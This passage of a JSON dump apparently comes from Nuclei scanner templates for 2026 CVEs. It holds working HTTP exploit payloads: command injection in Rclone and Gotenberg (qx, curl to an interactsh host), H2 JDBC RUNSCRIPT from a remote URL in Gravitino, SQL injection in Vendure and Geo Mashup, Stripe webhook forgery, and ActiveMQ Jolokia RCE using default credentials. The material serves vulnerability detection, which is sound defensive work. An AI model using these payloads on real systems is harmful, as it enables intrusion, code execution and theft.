condition: and\n# digest: 4b0a00483046022100bc7e3601cc4cd5635336f47a08b08e5b5811c0cfb7b22b2fef2382a26fe28659022100eeac81970c9a391a9510c20c4cdb27bc5410bf46eafd8d5f9740e62b90400764:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-41452.yaml","vuln_id":"cve-2026-41452"},{"raw":"id: CVE-2026-41432\n\ninfo:\n  name: New API < v0.12.10 - Stripe Webhook Bypass\n  author: str4k3r\n  severity: high\n  description: |\n    New API < v0.12.10 contains a broken authentication caused by unauthenticated attacker forging Stripe webhook events, letting attackers credit arbitrary quota without payment, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can credit arbitrary quota to their account without payment, causing financial and resource abuse.\n  remediation: |\n    Update to version 0.12.10 or later.\n  reference:\n    - https://github.com/advisories/GHSA-xff3-5c9p-2mr4\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41432\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-41432\n    epss-score: 0.0085\n    epss-percentile: 0.58286\n    cwe-id: CWE-345\n  metadata:\n    max-request: 1\n    verified: true\n    fofa-query: 'icon_hash==\"-1398762159\"'\n  tags: cve,cve2026,new-api,stripe,webhook,auth-bypass\n\nvariables:\n  timestamp: \"{{unix_time()}}\"\n  event_body: '{\"type\":\"checkout.session.completed\",\"data\":{\"object\":{\"client_reference_id\":\"nuclei-probe\",\"status\":\"complete\",\"payment_status\":\"paid\",\"customer\":\"cus_probe\",\"amount_total\":0,\"currency\":\"usd\"}}}'\n  signature: '{{hmac(\"sha256\", concat(timestamp, \".\", event_body), \"\")}}'\n\nhttp:\n  - raw:\n      - |-\n        POST /api/stripe/webhook HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Stripe-Signature: t={{timestamp}},v1={{signature}}\n\n        {{event_body}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"webhook handled\", \"\\\"success\\\"\", \"\\\"status\\\":\\\"success\\\"\")'\n          - '!contains_any(tolower(body), \"<html\", \"not found\", \"error\", \"forbidden\", \"unauthorized\", \"invalid signature\")'\n        condition: and\n# digest: 4a0a00473045022060412aedd9f86bdfaa2abf51be261a4b804f89f8278a68d51b2c1d8879a0812e022100f30626fc50903276e3aa0d27c13aca4d1b8f54123ef6578712b90c76b8d1b4ed:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-41432.yaml","vuln_id":"cve-2026-41432"},{"raw":"id: CVE-2026-41179\n\ninfo:\n  name: RClone RC - Command Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    Rclone >= 1.48.0 and < 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.\n  impact: |\n    Unauthenticated attackers can execute local commands remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to version 1.73.5 or later.\n  reference:\n    - https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41179\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-41179\n    epss-score: 0.08585\n    epss-percentile: 0.95093\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: rclone\n    product: rclone\n  tags: cve,cve2026,rce,rclone,webdav,oast,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /rc/noop HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{}\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /operations/fsinfo HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"fs\":\":webdav,url='http://{{interactsh-url}}/',vendor=other,bearer_token_command='curl http://{{interactsh-url}}/{{randstr}}':\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"Features\")'\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a004730450220300720822b8709cf72dad6fc7c55b4b748ba5e1e317eec5286e41622d36eefe5022100dff4fe3185cc1d4e7943b92bcbbf79e31b19c20dad0c32c3baf435fee31e8ef9:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-41179.yaml","vuln_id":"cve-2026-41179"},{"raw":"id: CVE-2026-41176\n\ninfo:\n  name: Rclone RC - Broken Access Control\n  author: theamanrawat\n  severity: critical\n  description: |\n    Rclone >= 1.45.0 and < 1.73.5 contains a broken access control vulnerability caused by unauthenticated access to the RC endpoint `options/set` allowing mutation of global runtime configuration, letting unauthenticated attackers access sensitive administrative functions, exploit requires RC server started without global HTTP authentication.\n  impact: |\n    Unauthenticated attackers can access sensitive administrative functions, potentially leading to full control over the RC server configuration and operations.\n  remediation: |\n    Upgrade to version 1.73.5 or later.\n  reference:\n    - https://github.com/rclone/rclone/security/advisories/GHSA-25qr-6mpr-f7qx\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41176\n  classification:\n    cvss-score: 9.2\n    cve-id: CVE-2026-41176\n    epss-score: 0.32715\n    epss-percentile: 0.98351\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: rclone\n    product: rclone\n  tags: cve,cve2026,rclone,auth-bypass,rce,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /config/listremotes HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 403'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /options/set HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"rc\":{\"NoAuth\":true}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{}\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /config/listremotes HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n      - |\n        POST /options/set HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"rc\":{\"NoAuth\":false}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"remotes\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n# digest: 490a0046304402201124bc3d256f9d1d25bc9a4ba853cd4f4cf784c575bd7773f7123c3efa1e842602207bb47b7911b247c91aaa64320cde04ce62ae7ad3cab3303116bfd09351ba3c51:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-41176.yaml","vuln_id":"cve-2026-41176"},{"raw":"id: CVE-2026-4106\n\ninfo:\n  name: HT Mega < 3.0.7 - Sensitive Information Disclosure\n  author: EFETR\n  severity: high\n  description: |\n    The HT Mega plugin for WordPress is vulnerable to Sensitive Information Exposure via AJAX actions. This template dynamically extracts the security nonce before exploitation.\n  reference:\n    - https://wpscan.com/vulnerability/9477ead2-3990-4aae-8e66-09ee2f4daa3e/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-4106\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-4106\n    epss-score: 0.00742\n    epss-percentile: 0.54813\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: hastech\n    product: ht-mega-for-elementor\n    framework: wordpress\n    publicwww-query: \"/plugins/ht-mega-for-elementor/\"\n  tags: cve,cve2026,wordpress,wp-plugin,ht-mega-for-elementor,exposure,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: extracted_nonce\n        part: body\n        group: 1\n        regex:\n          - 'security[\"'':\\s]+([a-f0-9]{10})'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wcsales_purchased_products&security={{extracted_nonce}}&limit=10\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"buyer\":'\n          - '\"fname\":'\n          - '\"city\":'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220450c54b6f9c6eaf68d491c02062e52f9bb5a5ee7205c11a7623e00c97b183c25022100dc4b87581961d392cff0143f57fcddc7c9e4350ee7169bff2409739bc316dd3c:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-4106.yaml","vuln_id":"cve-2026-4106"},{"raw":"id: CVE-2026-41042\n\ninfo:\n  name: Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution\n  author: buzhimingdeaikun\n  severity: critical\n  description: |\n    Apache Gravitino < 1.2.1 contains a remote code execution caused by unsanitized H2 JDBC URL via testConnection API using H2's INIT parameter, letting unauthenticated attackers execute arbitrary Java code remotely, exploit requires H2 usage.\n  impact: |\n    Unauthenticated attackers can execute arbitrary Java code on the server, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to version 1.2.1 or later.\n  reference:\n    - https://github.com/advisories/GHSA-59xm-4m8c-g3xj\n    - https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41042\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-41042\n    epss-score: 0.01512\n    epss-percentile: 0.74546\n    cwe-id: CWE-20\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: apache\n    product: gravitino\n    shodan-query: title:\"Gravitino\"\n    fofa-query: title=\"Gravitino\"\n  tags: cve,cve2026,apache,gravitino,rce,unauth,oast,h2,jdbc\n\nvariables:\n  ml_name: \"{{rand_base(6)}}\"\n  db_name: \"{{rand_base(8)}}\"\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/metalakes HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{ml_name}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/metalakes/{{ml_name}}/catalogs/testConnection HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/vnd.gravitino.v1+json\n\n        {\"name\":\"h2rce\",\"type\":\"RELATIONAL\",\"provider\":\"jdbc-mysql\",\"properties\":{\"jdbc-url\":\"jdbc:h2:mem:{{db_name}};INIT=RUNSCRIPT FROM 'http://{{interactsh-url}}/{{filename}}.sql'\",\"jdbc-user\":\"sa\",\"jdbc-password\":\"\",\"jdbc-driver\":\"org.h2.Driver\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, \"http\")\n          - contains(interactsh_request, \"/{{filename}}.sql\")\n          - status_code == 500\n        condition: and\n# digest: 4a0a0047304502202938c453a1dc451139af3bcc40cdbf5a77a848bd9c69ea0386cbffbfd04476040221009107b36f3175aeb5798a87e999bf64460a1446f6ae451c06daa5917b8d753879:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-41042.yaml","vuln_id":"cve-2026-41042"},{"raw":"id: CVE-2026-40887\n\ninfo:\n  name: Vendure Core - SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    Vendure, an open-source headless commerce platform built on Node.js/TypeScript, contains a critical SQL injection vulnerability in its Shop API. The languageCode query parameter is interpolated directly into a raw SQL CASE expression in ProductService.findOneBySlug without parameterization or input validation, allowing unauthenticated attackers to execute arbitrary SQL commands. This can lead to full database disclosure and denial of service.\n  remediation: Upgrade @vendure/core to version 3.6.2, 3.5.7, or 2.3.4 or later, which add input validation and parameterized queries for the languageCode parameter.\n  reference:\n    - https://github.com/advisories/GHSA-9pp3-53p2-ww9v\n    - https://github.com/vendurehq/vendure/security/advisories/GHSA-9pp3-53p2-ww9v\n    - https://github.com/vendurehq/vendure/commit/3ff0bc1\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40887\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H\n    cvss-score: 9.1\n    cve-id: CVE-2026-40887\n    epss-score: 0.01762\n    epss-percentile: 0.78092\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    verified: true\n    shodan-query: http.header:\"vendure-auth-token\"\n    fofa-query: header=\"vendure-auth-token\"\n  tags: cve,cve2026,vendure,sqli,unauthenticated\n\nvariables:\n  num: 999999999\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /shop-api HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"{ __typename }\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"vendure-auth-token\")'\n          - 'contains(body, \"\\\"data\\\"\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /shop-api?languageCode=en'+AND+EXTRACTVALUE(5202,CONCAT(0x5c,(SELECT+MD5('{{num}}'))))+AND+'ptic'%3d'ptic HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"{ product(slug: \\\"a\\\") { id name } }\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'c8c605999f3d8352d7bb792cf3fd'\n          - '\"product\":'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022001f40b85cfe5ae3260c890dfb4f76ef69a19ec938fdc1f05f1198bf2a409a1f00220500929f3d47f68bad56c25feef92fe72294985a66e9fe87c187588d502a6f828:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-40887.yaml","vuln_id":"cve-2026-40887"},{"raw":"id: CVE-2026-40878\n\ninfo:\n  name: Mailcow < 2026-03b - Href Link Injection\n  author: ritikchaddha\n  severity: low\n  description: |\n    mailcow < 2026-03b reflects raw REQUEST_URI into JavaScript and href links on the login page, allowing attackers to inject parameters that break JS logic and enable phishing.\n  impact: |\n    Unauthenticated parameter injection into JavaScript and href attributes on the login page. Enables phishing, open-redirect chaining, and JS logic corruption (DoS of FIDO2/WebAuthn and CSRF handlers) via backslash injection.\n  remediation: |\n    Upgrade to mailcow 2026-03b or later.\n  reference:\n    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-xv9r-j862-5hqf\n    - https://github.com/mailcow/mailcow-dockerized\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40878\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L\n    cvss-score: 3.1\n    cve-id: CVE-2026-40878\n    epss-score: 0.00805\n    epss-percentile: 0.56887\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: mailcow\n    product: mailcow-dockerized\n    shodan-query: http.favicon.hash:2146763496\n    fofa-query: title=\"mailcow\"\n  tags: cve,cve2026,mailcow,link-injection\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?session_expired=true&redirect=http://evil.com\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"function setLang\"\n          - \"$.post( '/?session_expired=true&amp;redirect=http://evil.com\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402200ab0369763c9a3b5aa0ff70f500e102b8c46d98306edaef82698410f06b83ad5022024e71029c1c254df81d84b28101e8546345c02317f55e18d65a12cbf5161075a:922c64590222798bb761d5b6d8e72950","severity":"low","template_path":"http/cves/2026/CVE-2026-40878.yaml","vuln_id":"cve-2026-40878"},{"raw":"id: CVE-2026-4060\n\ninfo:\n  name: Geo Mashup <= 1.13.18 - SQL Injection\n  author: ydking0911\n  severity: high\n  description: |\n    Geo Mashup WordPress plugin <= 1.13.18 is vulnerable to time-based SQL injection via the sort parameter. The issue exists because the sort value is insufficiently sanitized in render-map.php/template tag code paths.\n  impact: |\n    Unauthenticated attackers can append SQL queries into existing database queries and potentially extract sensitive information using a time-based blind approach.\n  remediation: |\n    Update Geo Mashup to the latest version.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-4060\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/2fa5ae9a-532c-40f9-b70a-217f0f9cd473?source=cve\n    - https://plugins.trac.wordpress.org/changeset/3503627/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-4060\n    epss-score: 0.01422\n    epss-percentile: 0.72936\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cyberhobo\n    product: geo_mashup\n    shodan-query: http.html:\"geo-mashup\"\n    fofa-query: body=\"geo-mashup\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,geo-mashup\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt\"\n      - \"{{BaseURL}}\"\n\n    stop-at-first-match: true\n    extractors:\n      - type: regex\n        part: body\n        name: version\n        group: 1\n        regex:\n          - 'Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'geo-mashup')\"\n        condition: and\n        internal: true\n\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'Geo Mashup')\"\n          - \"compare_versions(version, '<= 1.13.18')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        GET /?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration >= 8\"\n          - \"status_code == 200\"\n          - \"contains(body, 'GeoMashup.createMap')\"\n        condition: and\n# digest: 490a00463044022053713f8320ba4289230074c05abd4506c46271973b8740c8b7b56cf3b66a1ee0022036da4502fec38a9a5a2ad0a258f8faadb8ccc00f91feee906af4a7ec80cc777d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-4060.yaml","vuln_id":"cve-2026-4060"},{"raw":"id: CVE-2026-40466\n\ninfo:\n  name: Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the \"vm://\" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the \"vm\" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to arbitrary code execution on the broker JVM. The activemq-http module must be on the classpath (present by default in the \"all\" distribution), and authenticated access to the Jolokia API (/api/jolokia/) is required.\n  impact: |\n    Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.\n  remediation: Attacker must be authenticated and activemq-http module must be on classpath.\n  reference:\n    - https://activemq.apache.org/security-advisories.data/CVE-2026-40466-announcement.txt\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40466\n    - https://github.com/advisories/GHSA-w3w2-mpp5-92gm\n    - https://github.com/apache/activemq/pull/1918\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-40466\n    cwe-id: CWE-20,CWE-94\n    epss-score: 0.04783\n    epss-percentile: 0.91955\n    cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: apache\n    product: activemq\n    shodan-query: product:\"ActiveMQ\"\n  tags: cve,cve2026,activemq,apache,rce,jolokia,oob,http,unauth,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/jolokia/ HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic YWRtaW46YWRtaW4=\n        Content-Type: application/json\n        Origin: {{RootURL}}\n\n        {\"type\":\"exec\",\"mbean\":\"org.apache.activemq:type=Broker,brokerName=localhost\",\"operation\":\"removeNetworkConnector(java.lang.String)\",\"arguments\":[\"NC\"]}\n\n      - |\n        POST /api/jolokia/ HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic YWRtaW46YWRtaW4=\n        Content-Type: application/json\n        Origin: {{RootURL}}\n\n        {\"type\":\"exec\",\"mbean\":\"org.apache.activemq:type=Broker,brokerName=localhost\",\"operation\":\"addNetworkConnector(java.lang.String)\",\"arguments\":[\"http://{{interactsh-url}}/discovery\"]}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{\"request\":{'\n          - 'org.apache.activemq'\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n          - \"dns\"\n        condition: or\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210090ba5151cc9d3e93e6418f70cac8f71c3948ec82cd30c8d9334b7df62ca2ab6202202db95e20466c592316b960a5b7eded82a1e7703808d553fe48a99c48811765b5:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-40466.yaml","vuln_id":"cve-2026-40466"},{"raw":"id: CVE-2026-40308\n\ninfo:\n  name: My Calendar WordPress Plugin - Information Disclosure\n  author: theamanrawat\n  severity: high\n  description: |\n    My Calendar WordPress plugin <= 3.7.6 contains an injection vulnerability caused by unvalidated user input passed to parse_str() in mc_ajax_mcjs_action endpoint, letting unauthenticated attackers access or crash sites via switch_to_blog(), exploit requires WordPress Multisite or Single Site setup.\n  impact: |\n    Unauthenticated attackers can access private events on multisite or cause denial of service on single site installations.\n  remediation: |\n    Update to version 3.7.7 or later.\n  reference:\n    - https://github.com/joedolson/my-calendar/security/advisories/GHSA-2mvx-f5qm-v2ch\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40308\n  classification:\n    cve-id: CVE-2026-40308\n    epss-score: 0.00932\n    epss-percentile: 0.60794\n    cwe-id: CWE-639\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: joedolson\n    product: my-calendar\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/my-calendar/\"\n    fofa-query: body=\"/wp-content/plugins/my-calendar/\" && title=\"WordPress\"\n  tags: cve,cve2026,wordpress,wp-plugin,my-calendar,idor,information-disclosure\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"My Calendar\"\n          - \"Stable tag:\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?m)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-admin/admin-ajax.php?action=mcjs_action&behavior=loadupcoming&args&site=1\"\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \"<= 3.7.6\")'\n          - 'contains_all(body, \"\\\"success\\\":1\", \"response\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a004730450221008cb91198289165ab22e4735b0973b92aaf40dacee763fa553820199c0f881d5302204f6dc4bca7bbc84bb95e0cf993dfdedf9546969827caa3b646f4a20cd3b5c607:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-40308.yaml","vuln_id":"cve-2026-40308"},{"raw":"id: CVE-2026-40281\n\ninfo:\n  name: Gotenberg <= 8.30.1 - Remote Code Execution\n  author: aryu-ru\n  severity: critical\n  description: |\n    Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a new one, letting an unauthenticated attacker inject arbitrary ExifTool arguments and execute operating system commands through an advanced formatting expression.\n  impact: |\n    Unauthenticated attackers can execute arbitrary operating system commands as the Gotenberg service account and read the command output from the returned PDF, potentially leading to full compromise of the container and of the internal network it can reach.\n  remediation: |\n    Update to version 8.31.0 or later, which validates metadata values in addition to metadata keys.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q\n    - https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318\n    - https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0\n    - https://github.com/vulhub/vulhub/tree/master/gotenberg/CVE-2026-40281\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40281\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n    cvss-score: 9.1\n    cve-id: CVE-2026-40281\n    epss-score: 0.02258\n    epss-percentile: 0.8302\n    cwe-id: CWE-88\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: gotenberg\n    product: gotenberg\n    shodan-query: \"Gotenberg\"\n    fofa-query: \"Gotenberg\"\n  tags: cve,cve2026,gotenberg,exiftool,rce,unauth,vkev\n\nvariables:\n  cmd: \"id\"\n\nhttp:\n  - raw:\n      - |\n        POST /forms/pdfengines/metadata/write HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}\n\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"files\"; filename=\"{{randstr}}.pdf\"\n        Content-Type: application/pdf\n\n        %PDF-1.4\n        1 0 obj\n        << /Type /Catalog /Pages 2 0 R >>\n        endobj\n        2 0 obj\n        << /Type /Pages /Kids [3 0 R] /Count 1 >>\n        endobj\n        3 0 obj\n        << /Type /Page /Parent 2 0 R /MediaBox [0 0 200 100] >>\n        endobj\n        xref\n        0 4\n        0000000000 65535 f\n        0000000010 00000 n\n        0000000062 00000 n\n        0000000122 00000 n\n        trailer\n        << /Size 4 /Root 1 0 R >>\n        startxref\n        196\n        %%EOF\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"metadata\"\n\n        {\"Title\":\"{{randstr}}\\n-Title<${PDFVersion;$_=qx({{cmd}})}\"}\n        ------WebKitFormBoundary{{randstr}}--\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'uid=[0-9]+\\([a-z0-9_-]+\\) gid=[0-9]+\\([a-z0-9_-]+\\)'\n\n      - type: word\n        part: header\n        words:\n          - \"application/pdf\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100dee761879058c381c34fe636bff1e6a473e25b35d2b45925b4feb495010a2aa702203a69a98ec6b627a4cded3b3b5cea3e1ce455c83406743edc2cb2c87669e5f0da:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-40281.yaml","vuln_id":"cve-2026-40281"},{"raw":"id: CVE-2026-40280\n\ninfo:\n  name: Gotenberg <= 8.30.1 - Server Side Request Forgery\n  author: str4k3r\n  severity: critical\n  description: |\n    Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.\n  impact: |\n    Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.\n  remediation: This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40280\n    - https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47\n  classification:\n    cve-id: CVE-2026-40280\n    epss-score: 0.0195\n    epss-percentile: 0.80283\n    cwe-id: CWE-918\n    cvss-metrics: 